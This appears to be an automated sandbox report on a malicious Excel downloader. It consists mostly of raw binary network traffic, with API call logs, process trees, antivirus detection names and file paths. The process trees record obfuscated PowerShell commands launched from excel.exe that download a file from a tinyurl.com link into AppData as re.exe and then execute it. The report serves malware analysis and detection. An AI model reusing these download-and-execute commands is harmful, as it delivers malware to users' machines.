RțZ2Ï!!G\ŠªÀp±ñÞß-…©•ì[W99¾…Âï׶,J?ÑÖ³!¢—O%,B#}׳Öi…¯ÕªØhd㭝R/Ååô‘¯å ًFçÏ2"ð7Äý‹æâÌ:Hׁa‚¿=rÙp^ì i$â<HãþÓåQÔ+À¡O“p™¿·Òƒni-ÈÍ¢bLC7_:v“Zúni]šÅˆÁ£‚h0‚d0U©ü²EIÁo04+هœ°%Wz0U#0€åY0‚GX̬úT6†{:µMð0Uÿ†0U%0++0Uÿ0ÿ04+(0&0$+0†http://ocsp.digicert.com0:U3010/ - +†)http://crl3.digicert.com/Omniroot2025.crl0mU f0d07 `†H†ýl0*0(+https://www.digicert.com/CPS0  `†H†ýl0g 0g 0g 0  *†H†÷  ‚|°Ž¦dráaÝót=P§çÂN &+Açð°óòÒçP€ÒÆ©º“ë¾ÁÁ†øO„¼|ær/é¶ÆviÝòjGk“T¤ €5'݊ŸÈ„—Ó´àÚ¦ðçÏ杘”ÒËÚ"wØI ¨UŽ‰ÔÒÎÐèÚàBýÎ~–„ʧÑ'Ÿ)¼ÿí.4ýF*ïNV|èÜ"—íS [º{àòO¥Y•Aͳr.\ozJC+"ËÔ? |óú|ÛJsqéÕÝF¶ž€q™ßõP~3Ò5u$^˜Z¨’Eô´Øˆ¦±déûùeHö–ÞF~Z0S]4âòñ‹•ð”ø­ã“
Data received K
Data received GA`kbß?岖ÃÞa ƒuÖ¹÷u™1¦yo=4?Ý_YäÌö¥­sŠ¡Ä_’ˆBKÐÑõšx"«>#ݝ’HûÌwå§÷©ª‹1Õep¯UÈ> È_8öš°fä£×¬ù¥DîèƒY™¤a(9)Ö¼å3vOyD'‡kûŒ8*ˆàßoŸ"úH’lnõ©šÒU¯')Ì Ö¼ÊK¨ÌS‡ÊaÑ~zÌÑøÌhúyDÝEq1…s6$caÔö aŽèêÃßùGSŸÿØåÈZÀî8¼ i’7Çc\À“ãÑ<)r+±TWL³ To@ÍI[ “Oª¥²K"± îÚր~ò*à‡QÜwDã&Ëý›ÀÜ Y(é…Bäè¹¢îÐ{nb©¸{3 xtp©/Ý¥M²Úý…Z gaýúÏÁƋ(
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received |ÂÈÒíɲ±R¼**’â z=o¸´0 £>¿Mê OËo´šù:Ì,qÂAÄÑé
Data received p
Data received +ÖטúæÆV½ì–?´¬+#.Uª9ŠŠ/öäHúH…¬A ܹŸìÄ>9"„ ¾¤íxºÐ®6>òn;§û»KìËyaFށÁƒ'oÿËkyNÀ”xc6ˆ?¼«XŽ¼µC¸ày‘"£1\C¹dt܋Üim®ÛÓ MÜW¦ùX0¥³Ašƒ]¿m Tgöèmþ=8AœÅÕ°«ë:|[¾s/¼A 룇›«ûÙæÂ?¸%Âx¢O߆?w¢àΗ´àª6rMߪ¿_-¾ó'OóLÀšI¼Íaˆ„AðÝR7‹$gIRméAüôe þ[Z[xºìb¥^f˨)þÓ0K³ùЦ­¿jºé’-É(JŸIIŋKÀ7aˤrº)Bo$pØãà l½©o?éê|ðgCDÉÆSÙô( ·ƒtÃßê×!gòïñéHѦsŽÑü¢PÒm‰z! è3ä6 Ý^kØ㻫ú2Ö×üE¾”¹g²íÍ3‰ö-“ö²ÆKŽíî=¡ß0¯Ne¿ó³×ïّyµ¬" ¡†ÞvëS…þË,ÛND]?8M?2ëŸãZ]:†ž^ìê"’{çŽÚhövlæé[Û(ƒH9p¶Ð5ýBՐŒ;³«R§™tnãA#Go…ùͦ[À/Îàï>ë·T¶kÝA£×ò¢û*c´ˆ¦é¶¶›ô…†Zª 7«ìªàŸyڟ®Î? ÕÓó¯6±rò*÷_¼ä·‹>ú¸¡k–^èiCd¢ú…âºÉÊz8wO*E·ÇÖIë¹ é¢ØÕ{â´ ú“”¤¥õ׌±cBƒ„·]ÿڈ7©(¹Tjÿrd®ZñJªi¯ÑÍÏR"Ø9Ž¯÷B št¡)®¯°vLv@Œ©l¥Yu D1‚MË_žÝ.³¯ÝIPì¿=yà µ/ya:Òãö Q%Š´,X!]5H. ¸”$ě=-·ž4”¾öùÒSr2uki÷ÍQFkØi‘lyÀ®ij…@ûrx뢲?ÚdRuQ°ê%h/ ¨NËF§ ²ŠÔ;ŠŒnƟLLWù•ÈÇE#SÂërr6 ÛÉÎ:Gú]•֊cigrCê/6°j :å”È%Y‚uw8lt{Ëη*Ò9³ ̓§¦lÇL?påsƒÌDI"ANJ­ÎÎñŒ±“5>`ƒbåúIî¶,ÓòÖräîuZ„Ìu¼¨üœGØMm]1}õ ¦¤F”u"D—ß(E¦Q;‘¥Ê y+nNêGÞí§õfàñåÒzÌFVÛt×ˍїԈ—¼w“=wþ«Õž ·„f ä%è]&‘ák²]"¹ŽÛŠâ yÈږ3Mñ3¯>&<ÌUÑ["fº-¬²A¹âóÇCÁÑÀzÄx ØÄPÜ—eu>÷fk#M*ì½Þ1é͔1¹ðëY&ß°¨æ¦^aõ™r˜.ãa¿åÉ-rñ¡´dy¸¹lÀÖ9:k03¨óÎÒ'<\çë^¢² “ø$ŒÌüé+±vv EDLÀßØÅPGi·ÇdÍ ”òÊ;¶„¹ƒÐ® Ö82ʗã$añOµ tÄBz|ø΀`Û¯·—üy÷G>÷¹ÓÀµ£HPtÛ šÔ((p$`®Nüé•嚔d°m’&ª^P½‹òwi˸¡Òq‰ ÕJ+˜ÆÍ-<žHOàý[ýçåŠôóųN°ë2E¬…¤òä¶ÊW¿€Ù(HÈñt§)ü6ea(¿ ۝áEdSw®ÀN£M€zËÏ3¢yèَÑç¯;S9AHß*ѾÄë
Data received `
Data received 4ÿÖڒ_í «I5 4ò~âC?ÄÄمÏÏEñÍޏhTeçWÕG a®LCä­ÞZr†ôíŽ}Ÿ,Α³‹V}!ÆòÏåÝ Ù1•ñ&+se®ƒÒ zVi»ø}
Data received 
Data received ÕR<êìÖß=céýÒXŽJ%Sf§:fî¹±Z+¥²1
Data received w©Ñkl¨Ñ_™F].Á öxÂ`Eqß±¤¿ àÈÊːø˜ 7:Çð¯)}È^©UÔÁ=4Ö»ÕênÂ!AŸ–4PÂX“Ï*üNÍ7Õ~T…+¨ÂgËñÅNRR%L˜u:½JÓ_s +±¾­‘dÿ5Ì„­;Š$Ì6ebÍ7Fò#®Pñ½šX¿¦sÖº›òb¶|I4Çš¡§A7ûü‚uÑ1’îL¼Oéf”Cƒo~Ï@C2<D4‘®Þƒëª“¿g~¿5xNó ÍûH ·» N ŒâÒÔFK5§HgÙV¤\ë ÷µa¥võ$Ï0ÔWërÞø %\ IïѲ“®çÕt9ht@!· @tÅ" ƒ•²>øž0Zrs"íT—_eÌnüA…c§»o˜ù(QÓ¤W§¼dgÅl”ϵ‹š-]W²šZ}ûǹÁr:¤gsSË"ϋZœ)™ßKœnÁ}_dö‡‚ÿÆK/dŸufO¶]@È:n–šä”^å¾\뙃®“Š°¥“¿AW–gÕÀ‰¡]Ø0:þ{DBmù/ù/)Ò¸§Ninyo ½¥`§ ó/¾õ5xƒÆΜ¥ƒò57v’_ììǽrnÑz‘Æé$“ïFHZ´ß*ŒK‰¹P¡¶JÜ,‘Rg«êÂUÀm¡.¥ŠÉ•(…pIxMGáºä-¥ð‡Ú74{ËqQÞê„ u)Îü <[¸ƒg],ÛJĊ¸pgVßZDbÇ3ÈCES3gÆÛãÍãúèàsB!0ÍÁهäʳENåӪᱺ–ÓQN—ǃQ‰ £ õËF·ŸqÔ>´Ãwƒ^åLü„ïnđ5B¨q㧑{õ\C–xD¿öCtò_¬Vߟý%7ÜÍC<¬rÌNžâ8×ÛìOfÆ+Ô¬wϟ§=KÈ҅æ‹iÕç>[6Ïh¡îØ˜Ç¥ݼbɉF WM6 /ÃéxkZց^ xÖ:½m ºœFÒ #î­n úʂ•¡üç-ð£5sw䙗J ê7;Ï0Áœª"¡×Æè3l„KMÄþ¿Û̞´êSÞÜ]ýÒY%VPW¹ÃrŠ®dø©23‡ï‹ä`}PÓùmXÌq\|Ýp ªSÈtI2èÍǚ!U=-2ÔuÙØX‚¡±êÁ ]êU`t*ç|¹à? —ˆhŠ Ê°ËMùoàFa€,‘PëÈÛºsQ:¥u²ÿ£ÑmãrÛÝ«ñ¦ãy!ᜤª’qÊî¨W¸t2O²î½9FqéµÐ^W縼þáïqä„ʵ›š2§ÐšÖòaӄ)óÒCâ¬r “Y™:HƒŽµÔñÔ.‚N“^³4rÎI”è†xNLÊ ‹æÀA„ØWÕÔaVEÏMꬮ^þGFŠB¿Áð™tv|w‹|p°R½’ð‚úW#¹×@.PÄÜ&".fR{Ü0MLÂáhn9á”x֘8mÀÅc¹¼y'ãSV¬Thqãg[9b%M¥Ø4•Ä÷Ã=Áœ]]"­®—dŽûèµÀ1f°Æ—š½š´¢f7N¥7DkRoÒ$î&<wiá´ËÌ:ˆ!¬¶:hõk֊ÔôŸØ[iŠ”=N‡Pì’tZåÏί!óuG¸&pùB”ÿeƒšg)Q¯ ÂÚ©ê(ÀbK6UêәUê“?yO¯éØKI*AI¸™e™Æ.« w¬×Ð/*oOöb_ÀßùÈiñ Ë`Ô].© p´„^ò閻ë¢sÿÑ[ëN#y»¦ÝË 
Data received à
Data received d*28ƲZR½ƒ¾Ö :-Ë£Ýà!ojØ3¸«Ž`ŒEGПBŽôyø2QQz퀃G.>-–¥@[½˜,tó¦}说Œ£û<넬¬qe¦ñkÜÎDH«¥þ–Î(”PI"rYbŠ¶<ð x52Ñ´ØÁ\„XJV\…ý‰¶Œ_¬ Šíâôã«ݔ>±ªü÷£û-•¸YÊwL>>• E2ûó~N5©Ü@‚ð )¹Ü%Õm5—,ÑÙúÔËû®²K™ëm8mÃäØp£Üø=î€öï!±÷Í""¸éa¨Ì4,… û¦ïq%Sj‡-Ìêl 1õ3Ö~wwö2ê{w†·¬€¯Ç²á(æ;ÊáLs‚L‘KÃwºN"ßÿ!k/±þҎòÉk 3ò¾?ÀzË¢/ñ;ºá/¼Óí2½›[¥=kùæñW§ôì*B»(àÍ>nKçœðÈУӗÙØ6o8>ØCÁ}¨–ñƒ&ù“j}âw’­2C‘ÉÖ.ð.»AzÓ¾ˆ%_áäô‹'V›:ô©‘µ‹rÎUiÂ&5ïÐŽà ­HšÑ…y¿>ɝÙꢽ1ˆ¤+ˆ8”!«Ðöv8ºê9ë Z“[‰%¼²âÛ_Üy¥Ì…¶~ǏøtÒ¨<Í:¶•6QÄùH’¿NÆ*im‚½›’ÝjÎ g#€u]ˆ°=§™ï`”ò)[O3—™ràlñ§LæUÁw—ìŚEó‡5Ç×Íkʑ°‹®ÐÓ_ø~ íù¢ÇqLšoœQêâºÆÕéU]Óð‚­@¾¬«”í5¬±ikóIÏË Ùf¦LåO,®LQ, ‹±ãÙÑK}àñ_ËÀQƒƒ p^»A˜ÛƒP÷ֆ>Äç5Ý?¢û-¼ÞÆOf>‹ì_˜òRújóEG­“Zðâÿ€ƒÛ¹B‘D¨Me|T›¨Öù§”þ
Data received ŠVÙål#™)Û`ìÀïPú¸Úš>x6ªû¨næ“ q'é!#2þF)–8$u_<Šíí²ñ†ØüâæoÜ2Æ[C÷~r»Ô¸7¿u‘leˆïö‡öÍ:¯2”ÊðÉ” Œ‚@äœW汉KÕª>¼R²Zç19¦Ê§´oâê¿=jÆ*çïýµ[²÷OçwççaUŠu²F"F—nõª‚Ö9ó¶¥\>ªk¡ªxRBòÿSl{·, ÖÇ.ë4yEدŒÿg‘MxìKX¨$NGUW…]L»;ï]6›IÂW"œ4"F„ èpø ~A0#½A¯æËGX/CQ {4+ÈÈDÊß&*Òm•£´ÐÍPoë­¤\yZé\a»©}(•1tä£L¾¿Tt¥'8”ÙAX8 L–™&¬³óôÖåqW˾~’®ólƒ(±°’ÿÔÍNô"/F´•&¬‡p­"{" KjãÒç1ˆÐÊ/åÕgô –óڜ䓽×4'€·êc òÀLLݤ}uÎzȵä,«cð7¥¢CÜW›hO¬Ó|ÉíÞ¤4Xø)b±×.7ªDÎÑb7ü˜'ëgØA{RÌï½UÆÊ¢8tXۛ9×Ň|SÝ¢óJ'|ßV@2o(¿Li«ç8ü·ß‹¤«_êøñæòv½:H^ü¹§ðÈÊ$¯4ãÐñü'o'V܁ Öy½8õ¾Sç¸@ÛM-uyï"Qïð®H¬ëš‰È^¿<¨wxª´ÊÍï¯:žW‹ Í3—‰…˜r4hÚ Ù†'âeŸïÈô9(փû×zõE½È$;¶þ–`9ú¤Æ»C »y7sùÚ ,KŠsà¼Àó‚ 7¯63íÀsÏ;^ì²\Q„Ær‚´ñRÐB k?\$¾D½ð¦Õÿ œWH6mž¦'~YÎ?&€Ö÷5Æy©ð(b׿ÇÍ|ª>䢩ØþÖ9h>D§¸Ö²í§çÅýu¸š]F‰ó_Yox,2XJrÓO-'0XTw‡ð¤^ëD1zs\ Ýî=˜¿ŽðK¬q¯ð7‹RQ¸D6“‚S`.ÞKñ<1HY³õDÃÇ¿¶VsŠÍGo˜ Ö ij䰐 ®úƟnGu®Ð„ ²~H_ý¶ôØâ ì`—ˆŸg!-ˆ¹™—Y»ß“!Œ#`Š85¬ …©9‹!@Zû}ü‘H¦ÈÞ(ÞCI 8ž¸x°x³¯#¢òO]™‚0R芺ê9  <4z,ÛqËk 6Ñ¡TСŸT *HÊhšÉƒÿ‹¢ÚRŸy¼×ûNråqÅ2.~3DÌ¿ùuXß^Ç0˜¸é¹Ü#ÙÍF$!þ°ÞyPdº¸M lBëˆñ~\Fé­?Wim¶­›û]•J-+|ËBnO"%r×=?’­(=$J w-%(UãèuóxSûŽƒ/XH7²’V[´· –Ê1äKž™÷)ûÖþëøË棃z-!Ʋ©SlD¿­ùAŽ,*É(„h+ċA ÆÅ노€•-ë߃JƆ Ÿ½Ë'}b­jm,aäóÛiž,±;@–Èúœç”†t/ØgoA,½$R~¸HHƒzÓ«Á#ˆe¡“? Ô^\ƸãG…„•È$“¯Ÿj±ÈѤ¹æÆÀ÷ ¯23ý¢ µI–¸…a½»ZQÓ }cgu0Xá^»ªIÅÆþ(÷āvÕGöîËÿ*m‘Ǿ\u„ËvlšG˜?`*‡«ƒ³uõÁ¦ö(064<É ‰
Data received œCÛ'/o~ñ˲­ ²¾azE¾¾%…±‹ãYé‰(ʕXÒ¨†HßÌÐér菲ÖЏ•‘›÷{äýpï]ĺ·sn)HK`Äð¾<iµU68þ{Scnön»÷¯ØbnR¶ylîj,Dc ¬bߝ” è–xréyxÚâpú®³;&¾6©¤f©@ØWÅÞÛ:­p"9_p4ªg–œ—ïô„íîáâÛaF¿…ìˁ'Ñ,T¦ì˜iKáê²ü.…Z_/9ÀJGíq£b‰e;]Kõ(­íoÇZÅõàÀQYRŸïÇÎ¥ÎуaàÛ¾ŠV ö/Ta” J<³iÀÑØ@óØ®ØG¯zÀå2ïú¨¾Z ,î%öT&¦bQ"²<ðMUÐCpû”Î_pÉTM$ÛS.#Ç,ÕVÔ´¤ÜVΏ¬|÷!HRJ«’ê¨ÊF žËá<몸?˜ìg+k:*]àÉ@jÒu_UF“$(R@éý —Þ 'N-8šì#Rõ€Íùaˆú“Å8–ž¶P$˜ù€F“°°‘VÐNÌÐz]˳t`Ú¥ëB!Ü ý°f\ªÒõbÉ®°]g}lF79¹?5;KûãK9­×ª¡ã-Æ)YÃq_%{‡ªšñ”‘Ùñ °UV´¢-žˆÍˆm½õÐjY¸´mêí™/M6»f2{ɨþžWÂz qQ’3ª··œ¤W6,–ŸkO_‡¦#SJI:rK TxР ‰eZLqÊ7!xb$’Æ`†GSÒ{Àñã?`ÈØÎùFYÌÉ¡%F–1σV痔‡ù|¯¾mOÂÉ åsÔŸ ™-"G¶ÊÔã’7¶û¤@7,oÛí$øá¦8這 ÍôÏÚý‘АÈç+M1âǺ.‡9]u7ª 8ԐÚÕ,ã­ÌÑü§ŸôöÁœºbõ…*ö ‰À½3,LVô#o$:Ñ\“‰é5rÊñJ4JøýôwǓœ<ç¬ü*"¿íq`{+,ƒäO”~Ý¡dý“2ýe,nQy…ý}­²¨Òñstá‘Pä0ŒÍ.ÇYdÒ?ò‰[ Ñro»}NìÍÅgs릌Ù)©ÈZUÞ  õPZ‚ôÁºÐ>¤~ÝVyŽg¥ öùØ:K€]Š”4í¶Í¶…A¨ŽËÛ¿&]Vm•ZŸs 7 ‰$˜XúÞÐÓxÇ°å!Sð «âù¼¯sªþ"ˆûÿ"MA> ü—›PLœV‰-áG=CqhÙh+œµ>ß*’ÙáJ½¶iÀŸöŠIž ã¢aí¡þÖ½pàª$MbÁÃTe±ôÞt%–EA!·_Á¦/›è4.øJlòÂyה!`'µØ¿ w«ð¤8gŠ+qZÔÕHªSë `«¥³w˜ÛçYyqºŸÏr$XhILÇ-‹­N©k(ºÉ­‹ÿm/Z§ûïÍËÍ+$/il7bë,RAðò>¥ø[ÇÿWFX_¤Ç¶W9Œ&;ÁuêsÇœ6ïÚ\aý~ìží[ð¼¼OJƒõ¸J7ÍE̯ßþ–ö4jQÆ°¢Çñ¨&uÜ LjpoY‡œÁ%rñ°¸ÍS¸B¥Àà)ù§g4ÊÀÔw~ק> DMœkèF@[ëQK°\ðÔÃ)¢:¬Ýá@‚o~Ø;Ä&¥Ø.k1ùAªf~#>RF"¶üùQ˜å8ÉÑC(‚V®­ýÉ&…aš9*™ÑpĖÞÿn©Ê ž¬v*Ð÷3ý‹Pû©ÿ ü²•ÙV{_s[$é"b¼,èÕ]ÁZË&õQWVèæùΘ
Data received  ”vÈ@ñ 1MG®»Ú4<†õÕ¶°;þ¤ëô€ÞÒoo½·¸ð°¶¨'Ȭ~“½9zZŽK:ŸjÓz·¼¦ý“d¹Ã?À¹pŽy{Ýåù}’ì2–%O‘m Š¿gíÏv)b[hó¯>͖ÖOdhbèjÿwè^Æ¿x<ªŒã<n„gžÔ„«ÆgYà>’æºÊ$Ýçm¢f÷÷.f;SÏg?•wHÛäü²W©=¤L†ñ]X–r[\³@º¼˜þß×]ëçfÿXµ‡fœ=’^ᒃu#s}h1RŸêßZ„Ì~¤+N©¹Ùeò@}0¥#_3Be£ë§ÙO¤J’”;Ž,X65ù/IIrR 9zìŸÞYëՓÔ<‰íÄõb´˜HÞö=÷NEÀ(g×£•é'“¾-ÈJOgƒ¿…_hf/å?@h•lö Fdù§B{À4f4c[—k!¾$:” œ¾œ·v/±""ylÓÏ{¼cÒKÓj‰ç¦imP¸î!°!ëmëØó›uBlkŚ16R:ÿxÅ}û—êZ3·œ o¨¿4 ·J×LԂÛ+ÒO$ÃèÓ•=|™Ý³Ö,›2oÕ«ãNöÊf1ÓP‹±¹·HWë¡Þa¦3>và÷>ÅÃôˆ^ ã½!lïG~slÐ(Cèºñ÷~EZa¾¸ê«~&)Ћ³æCÇÁs+m¡C$?S»æêÜ[u˜GjÄbÒ£4óvã`p™Æˆ•³Åqyçk”<1”ËÈûé¹*9ö$B}IFŠRúbEW!ÒäIj:¶«¥P4G¿¡™(–Sï¿x"Á¡àî6—ÑàˆÃÉ Ö1žwÝãÚÊ-1¶Ì›­b¼i)m Õ^÷Þ©¾{Éë5Û`ç[•}`oËá$&œc݈ÈáHÞ×ÀQí½KJ1ù˜^`3S A ŠBäÓãÙ'‰´%Ç·D§¥¤, ‚K•ª¿¶DÙÿ½¶Zâø…‡î¼/Sç1<õòKûñײ€~µDò½Ùm┙«ÑZŽÁŠ8^¼Ðûçg+8¹knQòªägÂT{芹©áäؔˆénW?2f¾0=¾}êÇ>~‘hP;C„·=ÛÄý¨mwœ _Ž âZOúXͺ;NE1…«ððáØþb}LE¶^±ý›µ{ÏïÈk¦Vl{ ‰|ÉZ¶g%‘Aøå\Þâ]Î>æfÀáOðÃ]ûÀªC2ë`ߞ(ߍ'ÐÄê:í¹¡äJLÜk„¤% èÈ4ìÒl³ÛÜzC£}¤qN€Ÿ¥[S3„§jq½‡7¥^ª>D„¾kšñ¢S|5ÔĬbënÖ W冏·Ò¢9hû˜ç11ǜ[ìøM0±q„3¶@Ž.\”fd8QõË>r©·%oL«Rëî6oª†_@=U5ýÌçI÷èP;Æ©rŸÚi\ím×ێÿh—>Ñr* ‰"kÕ§ªdÆïxxûœXÇß_6ŽyYj~ÃtÔ¦ì6Ç~Ám1}-ÿ¨±²R|:‘ Ëüɶ‚rÚÖ°tp ÂQÔ&+sóq‰Ëá¹'ê-¥ r2 ŽȎ»S…Õh‡ÅP+&òÔNO£ 0›2þG-@\vIÓÛ¿‘*éÒLkã`¢ý]Yöð<Ϋy Ÿû×ՈùÒÄY¿Zˆ^ك¿,©ñ}»¦’¹/—œÕÀÇÒ×24»ý±9Sʓ¡aŸ{\ËUü-Õeþêä×éyÆøÖú×"ýØÍs䮄“HŠ Ճѿ#cTÐÛ¢Þan¢ ¦hð /Å[
Data received Ð
Data received ƒ´Û¡o|%ʯÂf]Ï¥ˆ;X]ˆGîj".ýØ^…Vþ»ï²¿XHºçœ6ɟÖ}™`¾oäËq½å©ÐI!šL6V(ÞáÁøë½Þ¢Ò„aekݓø.#ӗ…Ž"™º‰í®«\Û½y7»ì[߉…<3Üjªƒ¢WtCð~~…úQ Vùœ5…?¯ÙZž6ÿù‹¿µK±É÷/ xÛô<JŠ˜uq¼E©ëŒ_ßúW£¥¥ý-ùM Èy~‘¡=?+ÆÒöe¸[µ>Ì$u­³-8B–‘ÍÆvÕë­¿Åïm³ÚøDAóøªñu£×ûlûvVºœ• º§÷Ü)¨1÷¥u’t¿´6IL9祦ý^Û¡|†´øΔZnÆΫ’OâA&ÿÁ;‹²š…êZü`‘’±uÙ7S…Ånªq¢ ÝX ëi£å¶¸V;F´1,°JaØuø¹ÿ1"}ÈkÑ1Q\.Ž¨WMZ»j:pBJvðy˜=ÂÊÌS5Ü;þ½¤;ü=ÂL[ÑCQiT\¡^ÙBÔ0bnºwcfŸxäýu™:CÛy°ÎÞzÎ|G™È ¢#ښb ¼ÁúˆèI€Ée›è]‰…ȺÉKÊhÆä? ñ³ÚÒ?P±Mä0âÍ)»,·,IZ.ãÆÒôVÉ;e f#µ<W”ó¿—$,¯òæ2a#ý\ M‚3œ¼w•[³È#hºÝÊo@ÎnP%D@ †FN²¤ 6Nk&ò§ÿªe†Ù]€<?žÖà™Ðàóޕý¹âw^k§÷f8 S|$Y¨áv C¹C¾Uc.ß ø’.˜¤é:Æ5÷Œ§“aëŽ•Ö _RÆe;‹ÁCè ±~­mù0nÙU}QÞ.ÕuÜ ¢œÇ'½(Ð=œ<¢Oæù&d"Êíöšãùó¸ß‰ j}èÍ @—¯¨ê‚×y$âJdß1bkàj0’:lŠ|@ã ·l“p†7=îªã£êð$ ³ªÇ¤8IŽÆ™±»äÔ^K‰Zŧ4ŁoUցM)è§ÿ xÃA$R‡/˜Ò.ß7ŸHÈé6HÌÜ=ýl^Ü鄨dLëi;99Û»Ølìizx‡Ýsï"C÷ßÏ8 €’L›Íh}‹bo5+rêhü$0Ãl/ÕÊü"£6ö‘º“4"µà °œµ«)V¯phŒà䂨8Ö(̾i ÄÈéë4—yH!Ü÷Ñh†V©S¬5Ð]W^©Ô–¹
Data received æ÷•žÉ5PRîþáÔ;X`+`3¯1[}o®°
Data sent nj`l"ã9U_Òù4¢/èr’„¶ŸÓ¯˜øþ„/5 ÀÀÀ À 28)ÿ tinyurl.com  
Data sent FBA(8>[;_ j§g#?WUTàí?™*Âj«‰peϕ×ïÆB<ˆ)fcy #ÝØyèÛbÒ>iÛÝë- ý0ùޡyF 睉Y½nQò<ü\“W™?m¥„ ïLÓ2åۑA¿­ßX&
Data sent `Ål u<+¦øsȃ îAÄ&B–Ë3'çíù°(h¥?aN—‚£ïÕ.âՈ_@ÏQâÏê¸ôâŠäøú5ߥq¬|5Žð X2k‚".† Lë±ý/báƘÿÿ;
Data sent p±µà Xòï;—E´( 1ÕÁ,_»åýQ³:¼ËF±d'œœžî-°`’ÚI î–Õ¤^Ãy45—déÐ(Û¹Z£@\ÚÓݖ¡nXÖýTŸàY*»#ñ‡ª¥ÆãÝÊRƹ²§’V™ÌÃíÉ
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
file C:\Users\test22\AppData\Roaming\re.exe
parent_process excel.exe martian_process cmd /c po^wer^shell -w 1 Start-Sleep 12; sTArt-`P`R`ocess $env:appdata\re.exe
parent_process excel.exe martian_process cmd /c po^wer^shell -w 1 (New-Object Net.WebClient).DownloadFile('https://tinyurl.com/y3psaqmm',($env:appdata + '\re.exe'))
Time & API Arguments Status Return Repeated

send

 buffer: nj`l"ã9U_Òù4¢/èr’„¶ŸÓ¯˜øþ„/5 ÀÀÀ À 28)ÿ tinyurl.com  
socket: 1428
sent: 115
1 115 0

send

 buffer: FBA(8>[;_ j§g#?WUTàí?™*Âj«‰peϕ×ïÆB<ˆ)fcy #ÝØyèÛbÒ>iÛÝë- ý0ùޡyF 睉Y½nQò<ü\“W™?m¥„ ïLÓ2åۑA¿­ßX&
socket: 1428
sent: 134
1 134 0

send

 buffer: `Ål u<+¦øsȃ îAÄ&B–Ë3'çíù°(h¥?aN—‚£ïÕ.âՈ_@ÏQâÏê¸ôâŠäøú5ߥq¬|5Žð X2k‚".† Lë±ý/báƘÿÿ;
socket: 1428
sent: 101
1 101 0

send

 buffer: p±µà Xòï;—E´( 1ÕÁ,_»åýQ³:¼ËF±d'œœžî-°`’ÚI î–Õ¤^Ãy45—déÐ(Û¹Z£@\ÚÓݖ¡nXÖýTŸàY*»#ñ‡ª¥ÆãÝÊRƹ²§’V™ÌÃíÉ
socket: 1428
sent: 117
1 117 0
parent_process powershell.exe martian_process C:\Users\test22\AppData\Roaming\re.exe
parent_process excel.exe martian_process cmd /c po^wer^shell -w 1 Start-Sleep 12; sTArt-`P`R`ocess $env:appdata\re.exe
parent_process excel.exe martian_process cmd /c po^wer^shell -w 1 (New-Object Net.WebClient).DownloadFile('https://tinyurl.com/y3psaqmm',($env:appdata + '\re.exe'))
value Uses powershell to execute a file download from the command line
CAT-QuickHeal Ole.Trojan.A942401
McAfee W97M/Downloader.czq
Cyren Trojan.OLXK-6
Symantec W97M.Downloader
TrendMicro-HouseCall TROJ_FRS.VSNTIS20
Avast Other:Malware-gen [Trj]
Kaspersky HEUR:Trojan.Script.Generic
ViRobot XLS.Z.Agent.57856.BS
Tencent Win32.Trojan-downloader.Agent.Auto
F-Secure Malware.W2000M/Agent.AZ
DrWeb Exploit.Siggen2.44999
TrendMicro TROJ_FRS.VSNTIS20
McAfee-GW-Edition W97M/Downloader.czq
Avira W2000M/Agent.AZ
Microsoft TrojanDownloader:O97M/Obfuse.JQ!MTB
AegisLab Trojan.Script.Generic.4!c
ZoneAlarm HEUR:Trojan.Script.Generic
GData Generic.Trojan.Agent.AEJUPV
Cynet Malicious (score: 85)
Zoner Probably Heur.W97ShellB
ESET-NOD32 a variant of Generik.KHBWLI
Ikarus Trojan-Downloader.VBA.Agent
Fortinet MSExcel/Agent.AXZBT!tr
AVG Other:Malware-gen [Trj]
Qihoo-360 Generic/Trojan.Script.ed4
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Users\test22\AppData\Roaming\re.exe